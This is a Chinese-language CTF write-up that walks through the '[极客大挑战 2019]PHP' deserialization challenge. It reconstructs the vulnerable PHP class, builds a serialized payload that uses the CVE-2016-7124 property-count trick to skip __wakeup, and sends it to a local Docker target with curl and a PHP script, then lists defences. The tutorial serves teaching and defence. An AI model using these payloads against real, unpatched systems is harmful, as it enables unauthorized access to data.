1. 项目概述:一次从零开始的CTF PHP反序列化实战
最近在带新人入门网络安全,发现很多朋友对CTF里的PHP反序列化题目望而却步,尤其是看到__wakeup、__destruct这些魔术方法就头疼。正好,[极客大挑战 2019]PHP这道题堪称经典,网上教程不少,但要么跳步太快,要么默认读者有基础。今天我就以这道题为例,手把手带你走一遍,目标是让哪怕刚接触PHP一周的纯小白,也能彻底看懂每一步在做什么、为什么这么做。这不是一次简单的“抄payload”,而是一次完整的漏洞原理与利用思路的拆解。
这道题的核心,是PHP反序列化漏洞。简单来说,它就像是一个“对象复活”的过程。程序把用户数据(字符串)重新变回内存里的对象,如果这个过程中用户能控制数据,就可能让程序执行一些不该执行的代码。题目里涉及的关键词__wakeup和__destruct,就是PHP对象生命周期中的两个特殊函数,也叫魔术方法,它们会在特定时机被自动调用,是我们构造攻击链的“扳机点”。
2. 环境准备与题目初探
2.1 搭建本地复现环境
看题先搭环境,这是好习惯。题目是一个网站,我们完全可以在本地用Docker快速复现,避免对线上靶场造成干扰。这里我推荐用php:5.6-apache的镜像,因为很多老CTF题目的环境就是PHP 5.x,其反序列化特性与后续版本(如7.x以上)有细微差别。
# 拉取并运行一个PHP 5.6 + Apache的容器,将本地目录映射到容器的/var/www/html docker run -d --name geek-challenge-php -p 8080:80 -v $(pwd)/www:/var/www/html php:5.6-apache接下来,我们需要题目的源码。通常CTF题会给出一个index.php,或者像本题一样,通过提示让我们去发现备份文件。常见的备份文件名有index.php.bak、www.zip、.git等。我们把猜测的源码保存到本地的www目录下。
注意:实际解题时,我们可能没有源码,需要靠“猜”和“试”。但作为学习,我强烈建议你先拥有源码,理解逻辑后再去尝试黑盒测试。这里我根据题目反推,给出一个高度还原的
index.php示例:
<?php include 'flag.php'; class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username, $password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username == 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>同时,需要一个flag.php,里面大概就是$flag = 'flag{this_is_a_fake_flag}';。把这两个文件放到www目录后,访问http://localhost:8080就能看到题目初始页面了。
2.2 代码审计与逻辑梳理
拿到源码,别急着想payload,先当个“代码阅读者”。我们一行行看:
- 包含flag:
include 'flag.php';说明flag变量在这个文件里。 - 定义Name类:这是整个题目的核心。
- 有两个私有属性:
$username和$password。注意,在PHP中,私有属性在序列化后的字符串里,类名前后会有空字节(%00),这在构造payload时需要特别注意。 __construct:构造函数,创建对象时调用,用于初始化属性。__wakeup:这是一个关键魔术方法。当反序列化一个对象时,__wakeup()会自动优先执行。这里它干了一件事:无论反序列化出来的$username是什么,都强行重置为'guest'。这看起来像是一个安全措施,想阻止我们控制$username。__destruct:析构函数,当对象被销毁(比如脚本执行结束)时自动调用。这是我们的目标触发器。它里面有两个判断:- 第一层:如果
$password != 100,就输出一些信息然后die()结束脚本。这意味着我们的payload里,$password必须等于100,才能通过这第一关。 - 第二层:如果通过了第一关,并且
$username == 'admin',那么就会输出全局变量$flag。这就是我们胜利的条件。
- 第一层:如果
- 有两个私有属性:
逻辑链条很清晰了:我们需要让程序反序列化一个我们精心构造的Name对象,这个对象的$password值必须是100,并且最终在__destruct被调用时,它的$username值必须是'admin'。
但矛盾点来了:__wakeup()会在反序列化时把$username重置为'guest'。如果我们直接构造$username为admin,一执行__wakeup()就被改掉了,永远进不去输出flag的分支。
所以,这道题的核心绕过点,就是如何让__wakeup()失效,或者如何让__wakeup()执行后,$username依然是admin。
3. 核心漏洞原理:PHP反序列化与CVE-2016-7124
3.1 序列化与反序列化基础
在深入绕过之前,必须彻底理解这两个过程。PHP的serialize()函数把一个对象(或数组、变量)转换成一串可存储或传输的字符串。unserialize()则相反,把这串字符串变回原来的对象。
让我们写个脚本看看一个正常的Name对象序列化后长什么样:
<?php class Name{ private $username = 'nonono'; private $password = 'yesyes'; // ... 其他方法同上 } $obj = new Name('test_user', 123); echo serialize($obj); ?>输出会是这样的:O:4:"Name":2:{s:14:"%00Name%00username";s:9:"test_user";s:14:"%00Name%00password";i:123;}
我们来拆解这个字符串:
O:4:"Name":表示这是一个对象(Object),类名长度为4,类名是Name。:2::表示这个对象有2个属性。{...}:花括号内是属性的具体信息。s:14:"%00Name%00username":s表示字符串,长度14。注意,私有属性username在序列化后,名称变成了%00Name%00username。这里的%00是空字符(NULL字节)的URL编码形式,实际字符串里是不可见的\x00。Name是类名,前后各一个空字符,这是PHP标识私有属性的方式。s:9:"test_user":这是username属性的值,字符串“test_user”,长度9。- 同理,
password属性也以%00Name%00password的形式存储,值是整数123。
3.2 关键漏洞:__wakeup()的绕过(CVE-2016-7124)
现在来到最关键的部分。PHP在反序列化时,会先根据字符串重建对象,然后如果这个类定义了__wakeup()方法,就会调用它。但这里存在一个历史漏洞(在PHP 5.6.25之前和7.0.10之前的版本中存在)。
漏洞原理:当反序列化字符串中,表示对象属性数量的值(上面例子里的:2:)大于实际属性数量时,__wakeup()方法将不会被执行。
在我们上面的序列化字符串里,O:4:"Name":2:{...},这个2就是声明的属性数量。如果我们把它改成比2大的数,比如3,在存在漏洞的PHP版本中,__wakeup()就被跳过了。
为什么能这样?这源于PHP内部处理反序列化时的逻辑缺陷。在解析序列化字符串时,程序会先读取声明的属性数量,然后按这个数量去分配内存并读取属性。如果声明的数量多于实际定义的属性,可能会导致内部状态不一致,进而使得某些后续的初始化步骤(包括调用__wakeup)被意外跳过。这给了我们一个宝贵的“时间窗口”:在__wakeup失效的情况下,我们构造的$username值就能原封不动地进入对象,之后在__destruct中被使用。
实操心得:这个漏洞编号是CVE-2016-7124。在CTF中,看到PHP反序列化题目里有
__wakeup,尤其是它试图重置或清理关键属性时,第一个要尝试的就是这个属性数量绕过。这是肌肉记忆。
4. 手把手构造Payload
理解了原理,现在我们来一步步构造能拿到flag的payload。
4.1 第一步:构造基础对象
我们需要一个Name对象,其$password = 100,$username = 'admin'。
<?php class Name{ private $username; private $password; // 我们不需要定义那些魔术方法,因为payload只关心属性值。 } $obj = new Name(); $obj->username = 'admin'; $obj->password = 100; echo serialize($obj); ?>运行这段代码,你会得到一个“错误”的序列化字符串。因为username和password是私有属性,你不能在类外部这样直接赋值。正确的方法是通过构造函数,或者使用反射(Reflection),但最简单的是在类定义内部赋值。我们调整一下:
<?php class Name{ private $username = 'admin'; private $password = 100; } $obj = new Name(); echo serialize($obj); ?>现在输出是:O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
这个字符串里包含了空字符%00,在传输和处理时需要特别注意。
4.2 第二步:应用__wakeup绕过
根据CVE-2016-7124,我们需要把属性数量从2改成一个更大的数,比如3。同时,我们不增加实际的属性键值对。
修改后的序列化字符串如下:O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
注意,花括号{}里的内容还是2个属性,但我们开头的声明是:3:。在存在漏洞的PHP环境中,这就能让__wakeup()失效。
4.3 第三步:处理空字符与URL编码
原始的序列化字符串包含不可见的空字符(\x00)。当我们通过GET或POST参数传递时,这些空字符可能会被截断或错误处理。因此,我们需要对其进行URL编码。
在PHP中,我们可以用urlencode()函数来处理:
<?php $payload = 'O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}'; // 注意,这里在字符串中直接写了\0来表示空字符 echo urlencode($payload); ?>输出结果为:O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
这个字符串就是我们的最终payload。其中%00就是空字符的URL编码形式。
5. 发起攻击与获取Flag
5.1 寻找反序列化入口点
光有payload不行,还得知道往哪送。题目源码里并没有直接显示unserialize()在哪里。这是CTF的常见套路,入口点可能隐藏在别处。常见的入口点有:
- GET/POST参数:比如
?data=我们的payload。 - Cookie:比如一个名为
user的Cookie。 - Session。
- 文件内容:比如程序会读取某个文件的内容进行反序列化。
对于这道题,经过测试或查看其他题目提示(有时题目描述或注释会给出),发现反序列化入口是通过**GET参数select**传递的。也就是说,题目页面大概有这样的代码(虽然没在给出的index.php里显示):
// 可能是index.php的另一部分,或者在其他包含的文件里 $data = $_GET['select'] ?? ''; $obj = unserialize($data);5.2 发起HTTP请求
我们可以用浏览器、命令行工具curl或者写一个简单的PHP脚本发起请求。
方法一:浏览器直接访问在地址栏输入(注意替换payload):http://localhost:8080/?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
如果环境正确,页面应该不会显示“NO!!!hacker!!!”,也不会显示“hello my friend”,而是直接输出flag(在我们本地是假的flag)。
方法二:使用cURL
curl -G "http://localhost:8080/" --data-urlencode "select=O:4:\"Name\":3:{s:14:\"\0Name\0username\";s:5:\"admin\";s:14:\"\0Name\0password\";i:100;}"这里使用-G表示GET请求,--data-urlencode会自动对参数进行URL编码。注意在命令行中,空字符\0需要转义。
方法三:编写攻击脚本
<?php $payload = 'O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}'; $url = 'http://localhost:8080/?select=' . urlencode($payload); $response = file_get_contents($url); echo $response; ?>运行这个脚本,同样能获取到返回结果。
5.3 结果分析与验证
如果请求成功,你会看到flag。如果失败,请按以下步骤排查:
- 检查PHP版本:确保你的环境是PHP 5.6.x (< 5.6.25) 或 PHP 7.0.x (< 7.0.10)。可以在题目目录创建一个
phpinfo.php文件查看。高版本PHP已修复此漏洞,__wakeup会被执行,导致username被重置。 - 检查payload格式:确保属性数量确实改成了大于2的数(如3),且私有属性的空字符处理正确。可以尝试在构造payload的脚本中,用
bin2hex()输出十六进制看看空字符%00是否存在。 - 检查参数名:确认反序列化入口参数是
select。有时可能是data、cmd等,需要信息搜集或模糊测试。 - 查看源码逻辑:再次确认
__destruct中的判断逻辑,特别是$password != 100是!=而不是!==,前者是松散比较,后者是严格比较。整数100和字符串"100"在松散比较下是相等的,这给了我们更多payload构造的灵活性(比如可以用字符串"100")。
6. 漏洞的深入利用与变形
6.1 为什么是__destruct和__wakeup?
在PHP反序列化漏洞利用中,__destruct和__wakeup是最常见的“跳板”或“抓手”。
__destruct:对象销毁时触发。只要反序列化出来的对象在脚本结束前没有被持久化引用,它就会立刻被销毁,从而触发__destruct。这使得它成为一个非常可靠的触发点。__wakeup:反序列化完成时立刻触发。它本意是用于对象苏醒后的初始化工作,但正因为其执行的确定性和优先性,也常被漏洞利用。有时题目会利用__wakeup进行过滤,我们的任务就是绕过它(如本题);有时__wakeup本身包含危险操作(如文件操作、命令执行),那它就成了直接的目标。
其他魔术方法如__toString(对象被当作字符串时调用)、__call(调用不存在的方法时调用)、__get/__set(访问不存在的属性时)也常被用于构造复杂的攻击链(POP链)。
6.2 属性数量绕过漏洞的细节
CVE-2016-7124的触发条件非常具体:序列化字符串中声明的属性数量,大于实际类中定义的属性数量。这里“实际类中定义的属性数量”是指在类作用域内用public、private、protected声明的属性,不包括动态添加的属性。
举个例子,如果类Name定义了2个私有属性,我们序列化字符串里写:3:或:10:都可以触发绕过。但如果我们写:1:,即小于实际数量,__wakeup依然会被调用。这个漏洞的本质是PHP内部var_unserializer.c文件中,在object_common1函数里对属性计数的校验逻辑有误。
6.3 私有属性与保护属性的处理
本题中是私有属性(private),序列化后格式为%00类名%00属性名。如果是保护属性(protected),格式则为%00*%00属性名。在手动构造payload时,必须严格按照这个格式,否则反序列化会失败,属性值无法正确赋值。
一个常见的错误是,在序列化字符串中直接写属性名username,而忽略了前后的空字符和类名,导致反序列化后$username和$password变成public属性,且值为NULL,完全不符合预期。
7. 防御措施与安全编程建议
作为攻击者,我们学会了利用漏洞;作为开发者,我们必须知道如何防御。
- 永远不要反序列化不可信的数据:这是铁律。
unserialize()用户输入是极度危险的行为。如果必须传递复杂数据结构,使用json_encode()/json_decode()。 - 升级PHP版本:及时将PHP升级到安全版本,修复已知的
__wakeup绕过等反序列化漏洞。 - 使用允许列表:如果业务必须使用反序列化,应严格限制可反序列化的类。在PHP 7.0+中,可以使用
unserialize($data, ['allowed_classes' => ['SafeClass1', 'SafeClass2']])来限制只能反序列化指定的安全类。 - 签名与验证:对序列化后的字符串进行签名(如HMAC),在反序列化前验证其完整性和来源合法性。
- 避免在魔术方法中放入关键业务逻辑:尤其是
__wakeup、__destruct、__toString等会自动调用的方法。尽量让它们只做无害的清理工作。 - 代码审计:在代码审计中,将
unserialize()视为高危函数,重点审查其参数是否用户可控,以及相关类的魔术方法是否存在风险操作。
8. 举一反三:类似CTF题目的解题思路
遇到PHP反序列化题目,可以遵循以下通用思路:
- 信息搜集:找源码(备份文件、
.git泄露、www.zip等)。没有源码则进行黑盒测试,尝试常见的参数名(data,cmd,select,id等)。 - 代码审计:如果有源码,重点寻找:
unserialize()函数的调用点,看它的参数是否我们可控。- 涉及到的类的定义,特别是所有魔术方法(
__construct,__destruct,__wakeup,__toString,__call,__get,__set等)。 - 魔术方法中是否有敏感操作(
eval(),system(),file_put_contents(), 数据库操作等)。 - 类属性之间的依赖关系或判断逻辑(比如本题的
if ($password != 100)和if ($username == 'admin'))。
- 构造POP链:如果单个类的魔术方法无法直接利用,可能需要寻找多个类,通过属性互相引用,形成一个“属性导向编程”(Property-Oriented Programming)链,让一个魔术方法的触发引发连锁反应,最终执行到危险函数。这需要仔细分析类与类之间的关系。
- 处理绕过:如果存在像
__wakeup这样的过滤或重置函数,尝试已知的绕过方法:- CVE-2016-7124(属性数量不一致)。
- 在PHP 7.4+中,如果序列化字符串中类的属性数量为0(
:0:),有时也会导致__wakeup不被调用(但这不是通用漏洞,需具体测试)。 - 寻找其他可控的魔术方法作为入口。
- 生成与发送Payload:根据分析结果,编写PHP脚本生成精确的序列化字符串,注意私有/保护属性的格式、字符编码等。然后通过找到的入口点(GET/POST/Cookie)发送出去。
- 调试与验证:如果没成功,检查PHP版本、payload编码、入口点是否正确。可以在本地搭建相同环境进行调试,使用
var_dump()或日志输出中间状态。
回到[极客大挑战 2019]PHP这道题,它完美地展示了反序列化漏洞的基础模型:可控输入、危险的魔术方法、以及一个需要绕过的安全函数(__wakeup)。理解这道题,就为理解更复杂的反序列化漏洞(如涉及Phar反序列化、POP链构造的题目)打下了坚实的基础。记住,核心永远是:控制数据,影响逻辑,触发代码。